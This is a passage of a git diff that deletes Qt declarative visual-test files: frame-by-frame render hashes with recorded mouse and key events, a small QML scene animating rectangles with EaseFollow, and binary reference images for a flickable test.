- msec: 3872 - hash: "d20f21df127565f9eb87c5d759a638d9" - } - Frame { - msec: 3888 - hash: "85ff94f03cea3e111807e90d062c1367" - } - Frame { - msec: 3904 - hash: "aa637850fe5f05a71ac4c7d31dbb36ee" - } - Frame { - msec: 3920 - hash: "c86a67096c5e62bb73b785cdf6a5b6b1" - } - Frame { - msec: 3936 - hash: "9d53537f2c50a0016bf7bb522b2ec3d8" - } - Frame { - msec: 3952 - hash: "b48630c27c27785ddce568a85d4dc58f" - } - Frame { - msec: 3968 - hash: "01c1bdb6e261cc509f26712b13eeb554" - } - Frame { - msec: 3984 - hash: "af8a44284695fd999acd5944434f0372" - } - Frame { - msec: 4000 - hash: "b156d9d6d5163f007ac4a309d8927ae9" - } - Frame { - msec: 4016 - hash: "2df3715416c3c005f04b66fe1258c0d8" - } - Frame { - msec: 4032 - hash: "96b4a7c6b8542b50fc345b54d38ec82a" - } - Frame { - msec: 4048 - hash: "7e62e757fafa06833444c3a7e1d96ce4" - } - Frame { - msec: 4064 - hash: "5222a8f9366c7d974d0687d05d229069" - } - Frame { - msec: 4080 - hash: "ec96169f4633c3bddfd582feeb8e9ad4" - } - Frame { - msec: 4096 - hash: "cb10db893d1e1cb2a370507dc5679985" - } - Frame { - msec: 4112 - hash: "d7e346c2ac77796bde639bd829b72e85" - } - Frame { - msec: 4128 - hash: "ba5bea8857e4fb444bedd3873563e7db" - } - Frame { - msec: 4144 - hash: "05556fba5d1714f70fd6c2bfb43d213b" - } - Frame { - msec: 4160 - hash: "aeeabf35f9759f045a670a9b9f90dc68" - } - Frame { - msec: 4176 - hash: "131bd453f4c7726e5fdd546252700e2e" - } - Frame { - msec: 4192 - hash: "7c5c3b5bb7a4082e6b9b43640e29f4e2" - } - Frame { - msec: 4208 - hash: "07515e21b7a7895f333e4a8bbd2202eb" - } - Frame { - msec: 4224 - hash: "6cf136f223ac6edd39ba6ed9b4445884" - } - Frame { - msec: 4240 - hash: "84264f5745add8a922101735ed8def84" - } - Frame { - msec: 4256 - hash: "660863d1e4b361f2e5445b417be0d2ad" - } - Frame { - msec: 4272 - hash: "7ceb86f4b16546370d72164d0ca3147c" - } - Frame { - msec: 4288 - hash: "a13e97da9722545ad87ac3c5eb92c497" - } - Frame { - msec: 4304 - hash: "5896b5307cbd609d2062d3607786d40c" - } - Frame { - msec: 4320 - hash: "c8c511115394116e4544c67f615ea5d5" - } - Frame { - msec: 4336 - hash: "59ca5fdf12a735e5c292901b54acccb2" - } - Frame { - msec: 4352 - hash: "155cce2738d34e0eac86f5eb63d638f0" - } - Frame { - msec: 4368 - hash: "83a840c3ae7dbd9a05c17fdd8be07d7a" - } - Frame { - msec: 4384 - hash: "800a15de28b14d88f0ad58fc3f4a2520" - } - Frame { - msec: 4400 - hash: "c8381439a3cd3f9e7f80061023723a6e" - } - Frame { - msec: 4416 - hash: "e3d63000db4b9458b202dece49d1bdba" - } - Frame { - msec: 4432 - hash: "c943e56781695798f3c221f8ab09681a" - } - Frame { - msec: 4448 - hash: "1137ee66d7fbf5a84c33f5ffff15b3dd" - } - Frame { - msec: 4464 - hash: "5a98013cc4462aad18cad8d941f77aa0" - } - Frame { - msec: 4480 - hash: "d0b3748fb49a13c0ad9a68b0e2914921" - } - Frame { - msec: 4496 - hash: "12113f71f9117670acbd7877edded7e0" - } - Frame { - msec: 4512 - hash: "22983424da08cdae7a9c6a8905b37736" - } - Frame { - msec: 4528 - hash: "b2db5618a025cefb2650124c81880c49" - } - Frame { - msec: 4544 - hash: "84fb5e7edc5b42163a83e0cd362b3a46" - } - Frame { - msec: 4560 - hash: "39d6f1ed0f60a0c366c22e1442c455ac" - } - Frame { - msec: 4576 - hash: "702367f6e4aaa2a862e57f9e02a08758" - } - Frame { - msec: 4592 - hash: "ecc75293bc156c560d55cb7d278a4e58" - } - Frame { - msec: 4608 - hash: "e68af8e97ce65376fd7904e599440c92" - } - Frame { - msec: 4624 - hash: "75fe9f766d6cf636cd72d8879a461439" - } - Frame { - msec: 4640 - hash: "162aef147ef4bbb0cd92bd70e4f37f62" - } - Frame { - msec: 4656 - hash: "d879aae8949976c7bad4d97f1e5b5549" - } - Frame { - msec: 4672 - hash: "8a983d7228190721f988de2d72cb3aa2" - } - Frame { - msec: 4688 - hash: "a4f3c63fde664d128cd35b129a4f9a23" - } - Frame { - msec: 4704 - hash: "115fb5f3c9b7f1c28ab379596faba91c" - } - Frame { - msec: 4720 - hash: "ea9600c4d6c77a3b32e59401aa84fe96" - } - Frame { - msec: 4736 - hash: "bd6531fdd9cfd46af2df73bacb31f4c5" - } - Frame { - msec: 4752 - hash: "33bdcf1df50eab5e7963c649fbd32226" - } - Frame { - msec: 4768 - hash: "236e88fb72369a55f9eba4b50712ae85" - } - Frame { - msec: 4784 - hash: "5eb3c14a6296fb3a1c58603b2fc937c8" - } - Frame { - msec: 4800 - image: "easefollow.4.png" - } - Frame { - msec: 4816 - hash: "31d11a1ce6422524241c77603fe53e61" - } - Frame { - msec: 4832 - hash: "44e8b9947026c10b922c84883dd8e889" - } - Frame { - msec: 4848 - hash: "d049e4f7c4bc1849398859a4d630c1b3" - } - Frame { - msec: 4864 - hash: "e83b4757898e4eeef74be8213619fbfa" - } - Frame { - msec: 4880 - hash: "d08f40615f2d5abc6236e856a67575dd" - } - Frame { - msec: 4896 - hash: "d9cb26bf1b8bbafb2aed8f74bd454077" - } - Frame { - msec: 4912 - hash: "aa321b94a6cc53b2ebac80e834c0a908" - } - Frame { - msec: 4928 - hash: "48da37164be156b67a4b3b14e50f2375" - } - Frame { - msec: 4944 - hash: "f522ce7728a4a9e7fad86c72f29bd8f9" - } - Frame { - msec: 4960 - hash: "9bc1d16b4bda596702a3d8a3fad8a5c5" - } - Frame { - msec: 4976 - hash: "5275dccf18745dec6c59b846de17d9ef" - } - Frame { - msec: 4992 - hash: "4eb6babc177b96f69b148d52f56d82d7" - } - Frame { - msec: 5008 - hash: "ccdfb454070ac04c4fe4f3513c52f8c8" - } - Frame { - msec: 5024 - hash: "07f6adad6e8ff4f0eff92c758636a951" - } - Frame { - msec: 5040 - hash: "241e0ad9218d49be477509e008e45548" - } - Frame { - msec: 5056 - hash: "151a482e821779da8a61063f1cc73f8c" - } - Frame { - msec: 5072 - hash: "1499d207c5a3a9bc7bbb84d9c5e35578" - } - Frame { - msec: 5088 - hash: "c253753f653157a5058ef071f16b8bbb" - } - Frame { - msec: 5104 - hash: "ec9fea5a870724a106b952edef7fb466" - } - Frame { - msec: 5120 - hash: "99b673f8ed049d31a2aecabcc46d841d" - } - Frame { - msec: 5136 - hash: "61e77fea693ea55aafbdc94c40c3ab33" - } - Frame { - msec: 5152 - hash: "53e44a3732ee6858d5bd596b4c5d5305" - } - Frame { - msec: 5168 - hash: "5b25d3894a56dc4f4a0aa8f88cb69e23" - } - Frame { - msec: 5184 - hash: "5683ad02f1b9126f4e4ff6b03044fdc6" - } - Frame { - msec: 5200 - hash: "0a3ec255575ec1b70e0b10cf59c7c5fd" - } - Frame { - msec: 5216 - hash: "0f5f46fe3fdf42d4651891f13c8afc7e" - } - Frame { - msec: 5232 - hash: "b6955407245c73e356a460d99dad77be" - } - Frame { - msec: 5248 - hash: "6018b53414921943b37c33fa04a29697" - } - Frame { - msec: 5264 - hash: "ff184d349ce0b648f8c1fce91ae997f6" - } - Frame { - msec: 5280 - hash: "9c112a3a785d970593887eeab72fa7fe" - } - Frame { - msec: 5296 - hash: "00384fb20d4c6cd6236d519d2d734cc3" - } - Frame { - msec: 5312 - hash: "601ea99400e5f50ee9a5a4b74b6f3017" - } - Frame { - msec: 5328 - hash: "9afed04bf7eca24d9b6d31ac84ae59c2" - } - Frame { - msec: 5344 - hash: "1983319c8043bfe403513af7ccb5b924" - } - Frame { - msec: 5360 - hash: "b0244e4e1b61202ede78405415c22bca" - } - Frame { - msec: 5376 - hash: "ec5516b1aaeace8784b04649c51ab40b" - } - Frame { - msec: 5392 - hash: "8ff7d2001594abb588f769bab15406d7" - } - Frame { - msec: 5408 - hash: "64d5fd96a1726aa5276f9b508566676f" - } - Frame { - msec: 5424 - hash: "ab49497a6c825038354f076bdbbbc235" - } - Frame { - msec: 5440 - hash: "6b821e43be932800b20af58a7b5a1ff7" - } - Frame { - msec: 5456 - hash: "683a2902300f930e2a81a82dc37c583b" - } - Frame { - msec: 5472 - hash: "86d7946d7fbb66369ccbf26430939225" - } - Frame { - msec: 5488 - hash: "fb38f5fb6555fc14e95a47c595a6ea0c" - } - Frame { - msec: 5504 - hash: "3878f685d9fa3299e9ffe78c22595387" - } - Frame { - msec: 5520 - hash: "b48840a68ff007901b02332c7177f315" - } - Frame { - msec: 5536 - hash: "9d847abc99220b04aceef12e5c09aac0" - } - Frame { - msec: 5552 - hash: "9893ac89fda64d96ec4140c3c87e17a5" - } - Frame { - msec: 5568 - hash: "cd94e1c36e6be9877cd9c12df42bd968" - } - Frame { - msec: 5584 - hash: "c1ce5e53b74af022dc103ad74ff5f1af" - } - Frame { - msec: 5600 - hash: "b3630e08eac02a9578a00b01baabaaba" - } - Frame { - msec: 5616 - hash: "0eb9241aa1f9526c1e24ba76d630805c" - } - Frame { - msec: 5632 - hash: "1b532ae7f9253469467522d4ca66c47b" - } - Frame { - msec: 5648 - hash: "7e6e49079ed6330da2e337a5e4ffd730" - } - Frame { - msec: 5664 - hash: "0391d668f4b906b244a5f5c1713573c2" - } - Frame { - msec: 5680 - hash: "8070fa3280d0d64bf976d4a276359c4c" - } - Frame { - msec: 5696 - hash: "f7d0d36a2d40c798f56ac7ecc1effca6" - } - Frame { - msec: 5712 - hash: "9f8e35ee5080e811c670c480a9c2bd9f" - } - Frame { - msec: 5728 - hash: "c7fea75a43a59a11aa504df32afcdaf8" - } - Frame { - msec: 5744 - hash: "7e549a93ffc6ddcc3d8111f10c05b29e" - } - Frame { - msec: 5760 - image: "easefollow.5.png" - } - Frame { - msec: 5776 - hash: "92d298262f610a2dafa095e3d67c80af" - } - Frame { - msec: 5792 - hash: "db8826b0b2feece0999863b8827a6234" - } - Frame { - msec: 5808 - hash: "12c7050e8094bb39212aed0163666d1a" - } - Frame { - msec: 5824 - hash: "69531beace5c749bf90160a4b25f736a" - } - Frame { - msec: 5840 - hash: "ce873e4dbc8853183b54d59991b2e030" - } - Frame { - msec: 5856 - hash: "fa1078973634578d69527402b11fb7e0" - } - Frame { - msec: 5872 - hash: "1e3b3db590567c0afd1913101192cda9" - } - Frame { - msec: 5888 - hash: "7b9e097018278b784973a546da3d401a" - } - Frame { - msec: 5904 - hash: "a7b0667093888480de6697280aeea9ba" - } - Frame { - msec: 5920 - hash: "e381f2422ead86575abf643b0b0c9797" - } - Frame { - msec: 5936 - hash: "44b08f5a0de2a6955e02f67753f409c8" - } - Frame { - msec: 5952 - hash: "db04665e58448ecc7f95baa3e4ea79a5" - } - Frame { - msec: 5968 - hash: "0e4aae728d8d543538a9446c41e18e91" - } - Frame { - msec: 5984 - hash: "e3cd1bbb1d9963e5c74d36e526a871b0" - } - Frame { - msec: 6000 - hash: "bcd893a0e200ddda4e1468c159018865" - } - Frame { - msec: 6016 - hash: "9c5293356aa6312f909e655e9bcf961b" - } - Frame { - msec: 6032 - hash: "0bab7b9166f6af554d4fa0badeec739e" - } - Frame { - msec: 6048 - hash: "e74996581f0aaeced118c5cbfd977d90" - } - Frame { - msec: 6064 - hash: "5d128eb20a2a23da8c2d9a35293e5769" - } - Frame { - msec: 6080 - hash: "ebbbc343698287faf7ffa7526a726b54" - } - Frame { - msec: 6096 - hash: "d812172192cc19590f9a2d7dbf970439" - } - Frame { - msec: 6112 - hash: "60263addb1b4b5ac43f8199b8ed77e40" - } - Frame { - msec: 6128 - hash: "702a1ff2876eaaa59359811bb6437c5b" - } - Frame { - msec: 6144 - hash: "8f81dc43decce5094ee7a089f0009730" - } - Frame { - msec: 6160 - hash: "efda5dd9edd83a0da089d0b28806c6b6" - } - Frame { - msec: 6176 - hash: "7274a33a7a5272d7abdaf41f4b2bf664" - } - Frame { - msec: 6192 - hash: "0cc80077476e721a3da85c17cc56a65e" - } - Frame { - msec: 6208 - hash: "e65a534f0e7e70520a9c2cfa09ee8159" - } - Frame { - msec: 6224 - hash: "b05b514c63bd8998785382e6a9cbd849" - } - Frame { - msec: 6240 - hash: "10a04d641e0cc65c120d8bcf2f3e54c8" - } - Frame { - msec: 6256 - hash: "68418e2206a496dd15a05b50fec6f87e" - } - Frame { - msec: 6272 - hash: "6549e0989e1c86e3a7eb0dcc8dd31380" - } - Frame { - msec: 6288 - hash: "bd0193c2cbc8958f674f4ec52a693b72" - } - Frame { - msec: 6304 - hash: "746440b45a3688dbd32b34c57454e956" - } - Frame { - msec: 6320 - hash: "6b54ee8af30be2178e8b3afab5dcb4c7" - } - Frame { - msec: 6336 - hash: "ba2fbad3fe2fe25ec0c0c542659168dc" - } - Frame { - msec: 6352 - hash: "84bd72703bd8200f8f090783d06ae451" - } - Frame { - msec: 6368 - hash: "17c9fb063280c2ee4cb4a13273bbb199" - } - Frame { - msec: 6384 - hash: "df28fd55719f5c2d164596d02c2faff2" - } - Frame { - msec: 6400 - hash: "c2e280e78e892200d40022d17ce695b7" - } - Frame { - msec: 6416 - hash: "c657caa0c5158e178ec5df80bbad6bcb" - } - Frame { - msec: 6432 - hash: "d91f4f6ec6503fe8280f9b02dd11e64a" - } - Frame { - msec: 6448 - hash: "0fb9400cdca9dbd4035fbf8af9952360" - } - Frame { - msec: 6464 - hash: "cac0e1b4aa094306b95f90ede4705391" - } - Frame { - msec: 6480 - hash: "e60a4bb14300a937a767effee931c60f" - } - Frame { - msec: 6496 - hash: "8b461397e3f210ee7e9305dcab2af2db" - } - Frame { - msec: 6512 - hash: "6ce9ec0942dd06c9f73929a7e176852c" - } - Frame { - msec: 6528 - hash: "da36e254635eea854a6552ba008117f9" - } - Frame { - msec: 6544 - hash: "0bec6402b5eb09d05ce8e9ff5253ea8d" - } - Frame { - msec: 6560 - hash: "72f6610527d395ca590eda166ef6bc4e" - } - Frame { - msec: 6576 - hash: "622ae3fd47adb2432e2a40d3c5539393" - } - Frame { - msec: 6592 - hash: "0b18c49e2bbf9370216e06b555faf183" - } - Frame { - msec: 6608 - hash: "0c090bb975fb883301b52479fd6f5fdf" - } - Frame { - msec: 6624 - hash: "c4205d7ecb7327426d9591e77247acab" - } - Frame { - msec: 6640 - hash: "f0e0075243e4b8aa97056248fe6033ed" - } - Frame { - msec: 6656 - hash: "47f99b40a8764ee9d9e429061fb7acb2" - } - Frame { - msec: 6672 - hash: "49e8c1e974b0716570d85109b53817a5" - } - Frame { - msec: 6688 - hash: "72f981bad831b6ed858009527902f734" - } - Frame { - msec: 6704 - hash: "e959a0493b06369a429f90f66cb65977" - } - Frame { - msec: 6720 - image: "easefollow.6.png" - } - Frame { - msec: 6736 - hash: "93470d983282f24425558f47ad705154" - } - Frame { - msec: 6752 - hash: "cdccbe1a7c7abd4a6a6ee754ed0c9759" - } - Frame { - msec: 6768 - hash: "0e1b7b5332a9fcdb492db5314a2a0267" - } - Frame { - msec: 6784 - hash: "1e1ffe3439aab51d0b325474e7d8dc28" - } - Frame { - msec: 6800 - hash: "e8e7e9b5871caf77f15678616d6c9c8a" - } - Frame { - msec: 6816 - hash: "9771fff3b7752154d093c038bea73d28" - } - Frame { - msec: 6832 - hash: "1af851ea214cbddb0e3a743084a5cf6b" - } - Frame { - msec: 6848 - hash: "1566182a7e29bbb738705a90c4909617" - } - Frame { - msec: 6864 - hash: "feed650e1d948fe622234d212fb745f2" - } - Frame { - msec: 6880 - hash: "3cd3d063275b91f9680717421c118ba4" - } - Frame { - msec: 6896 - hash: "c1f088801334762cd499e7cc70e1e59a" - } - Frame { - msec: 6912 - hash: "e8f8d153e7a027a5092a9209411d97f7" - } - Frame { - msec: 6928 - hash: "f11747c3533b4b2fc77a64ca0cace8b0" - } - Frame { - msec: 6944 - hash: "21618c67a2a8bbce86fc872060ad40e8" - } - Frame { - msec: 6960 - hash: "02da96335db74b87ceefe91b1dfe72e6" - } - Frame { - msec: 6976 - hash: "2b2e4143143ead8dea5865fd782f1775" - } - Frame { - msec: 6992 - hash: "13e710900b05e26cdb030b1e2b2be715" - } - Frame { - msec: 7008 - hash: "29e8995d17aac4d02034debcbb9fcb98" - } - Frame { - msec: 7024 - hash: "1099db1b3e4c69e84c6ab1b7c311bf1e" - } - Frame { - msec: 7040 - hash: "cc7cb720043334f1eeb385dce4389dc2" - } - Frame { - msec: 7056 - hash: "34c7a62c1bc7261e2fd31c40068b37a7" - } - Frame { - msec: 7072 - hash: "7fafbe05cbcaa21893e3aa0f1fcfb5a0" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 7088 - hash: "5b26c8cf047706633795a8ed3e703a89" - } - Frame { - msec: 7104 - hash: "e0774bf9e74d0cde81c5cb216a9258fc" - } - Frame { - msec: 7120 - hash: "0870262f643245e13f4fba79fd575897" - } - Frame { - msec: 7136 - hash: "8faf0d050bb435ade8af5012c1a6b0dc" - } - Frame { - msec: 7152 - hash: "382c037895cc39a6870db57b5016c01f" - } - Frame { - msec: 7168 - hash: "f1f5a2cbc103ab1bee9f537fa8266e03" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml b/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml deleted file mode 100644 index 121328b..0000000 --- a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml +++ /dev/null @@ -1,40 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 800; height: 240; color: "gray" - - Rectangle { - id: rect - width: 50; height: 20; y: 30; color: "black" - SequentialAnimation on x { - loops: Animation.Infinite - NumberAnimation { from: 50; to: 700; duration: 2000 } - NumberAnimation { from: 700; to: 50; duration: 2000 } - } - } - - Rectangle { - width: 50; height: 20; y: 60; color: "red" - EaseFollow on x { source: rect.x; velocity: 400 } - } - - Rectangle { - width: 50; height: 20; y: 90; color: "yellow" - EaseFollow on x { source: rect.x; velocity: 300; reversingMode: EaseFollow.Immediate } - } - - Rectangle { - width: 50; height: 20; y: 120; color: "green" - EaseFollow on x { source: rect.x; reversingMode: EaseFollow.Sync } - } - - Rectangle { - width: 50; height: 20; y: 150; color: "purple" - EaseFollow on x { source: rect.x; maximumEasingTime: 200 } - } - - Rectangle { - width: 50; height: 20; y: 180; color: "blue" - EaseFollow on x { source: rect.x; duration: 300 } - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.0.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.0.png deleted file mode 100644 index 016902b..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.1.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.1.png deleted file mode 100644 index a654936..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.2.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.2.png deleted file mode 100644 index cfd5517..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.3.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.3.png deleted file mode 100644 index 016902b..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.qml b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.qml deleted file mode 100644 index 46086f9..0000000 --- a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.qml +++ /dev/null @@ -1,1199 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 32 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 48 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 64 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 80 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 96 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 112 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 128 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 144 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 160 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 176 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 192 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 208 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 224 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 240 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 256 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 272 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 288 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 304 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 320 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 336 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 352 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 368 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 384 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 400 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 416 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 432 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 448 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 464 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 480 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 496 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 512 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 528 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 544 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 560 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 576 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 592 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 608 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 624 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 640 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 656 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 672 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 688 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 704 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 720 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 736 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 752 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 768 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 784 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 800 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 816 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 832 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 848 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 864 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 880 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 896 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 912 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 928 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 944 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 477; y: 171 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 960 - image: "flickable-horizontal.0.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 473; y: 171 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 976 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 463; y: 171 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 992 - hash: "c4d91a9e7f785ccd50db55f697d75cb9" - } - Frame { - msec: 1008 - hash: "c4d91a9e7f785ccd50db55f697d75cb9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 449; y: 171 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1024 - hash: "4f054038668f56cf3fc46dee08504b24" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 425; y: 172 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1040 - hash: "e6ae6e2a8e5fb7204ae1f559b5dc4a63" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 393; y: 172 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 393; y: 172 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1056 - hash: "3bfaaef12ca852421ad179d8598a306d" - } - Frame { - msec: 1072 - hash: "e00ff5e13a9a97bc11e041f89e4782f5" - } - Frame { - msec: 1088 - hash: "ae10ada837b21365936672e9a4b4b175" - } - Frame { - msec: 1104 - hash: "63566d7f1707025c9ec37e398d0e69ef" - } - Frame { - msec: 1120 - hash: "20e9d299cd867d680cf85f99e06cd200" - } - Frame { - msec: 1136 - hash: "4d3a19b3c50a20ba1d93a8bcd178a424" - } - Frame { - msec: 1152 - hash: "d373ab5240e438e8234ae05f935c1ef8" - } - Frame { - msec: 1168 - hash: "2f9c00aa1f8a8cc5d10e6c6a0baee366" - } - Frame { - msec: 1184 - hash: "0fd8203b0a33fd8243ecd878f04f9b42" - } - Frame { - msec: 1200 - hash: "24a197df4209c7076d68031e5dd4fd9e" - } - Frame { - msec: 1216 - hash: "9e4271eacdc875183e3c8e7a1eb098c2" - } - Frame { - msec: 1232 - hash: "cdf7aac4ff7e5df806977eb38392f5bc" - } - Frame { - msec: 1248 - hash: "1ace4a1312cad6f173a04c388624a97f" - } - Frame { - msec: 1264 - hash: "193d6d6838ac1d5ddb941fbb340ec506" - } - Frame { - msec: 1280 - hash: "ed82807a48f28610ba9bda0c7ab91ce4" - } - Frame { - msec: 1296 - hash: "e1168bb9a88a972decb0c537d86d7758" - } - Frame { - msec: 1312 - hash: "828ba428b04826687c6ef19b72318924" - } - Frame { - msec: 1328 - hash: "7dae52c428253cf44045ffaabaadd2f4" - } - Frame { - msec: 1344 - hash: "06e2a81e1a2421523642cfcf17ec22e4" - } - Frame { - msec: 1360 - hash: "283997835a54e80c0ab8a0321bd03ce7" - } - Frame { - msec: 1376 - hash: "6354f9379b7b25c8fabda4e5bc3cdf6a" - } - Frame { - msec: 1392 - hash: "6bc87dfd21d59efd3397e3cfb0d00d25" - } - Frame { - msec: 1408 - hash: "4f97fc9aa1f79a6b007a00459386b9ff" - } - Frame { - msec: 1424 - hash: "2b5c711ede124c9e97d3ef83a3fdcc8b" - } - Frame { - msec: 1440 - hash: "5a8cbd4ac3fcd920f2aea6e2cfa96467" - } - Frame { - msec: 1456 - hash: "5b32961cb36e519f5b1d50386e796d3e" - } - Frame { - msec: 1472 - hash: "c91f95cccd38cbd1a16ee65abffd40ab" - } - Frame { - msec: 1488 - hash: "25108050298d3ffc850113971bcf54da" - } - Frame { - msec: 1504 - hash: "6a236881f2a1cb487ee1945c279e020b" - } - Frame { - msec: 1520 - hash: "2df1824df1cf20022595f64d26adb4ad" - } - Frame { - msec: 1536 - hash: "4ca4a0a4b4fd9f9c4846adebcdc8fd67" - } - Frame { - msec: 1552 - hash: "1696ef0862ff4772f960d203c43fbddf" - } - Frame { - msec: 1568 - hash: "c5846835b8eb5d98c481ee5811344ea1" - } - Frame { - msec: 1584 - hash: "fbcb044ee53302de573321b43f068e65" - } - Frame { - msec: 1600 - hash: "d369e0a6c4a3e63102be29a7362ef9eb" - } - Frame { - msec: 1616 - hash: "e93131b881805d4aa44949c69f486821" - } - Frame { - msec: 1632 - hash: "b7aeee9e5065f1d4656e451b542ecf6a" - } - Frame { - msec: 1648 - hash: 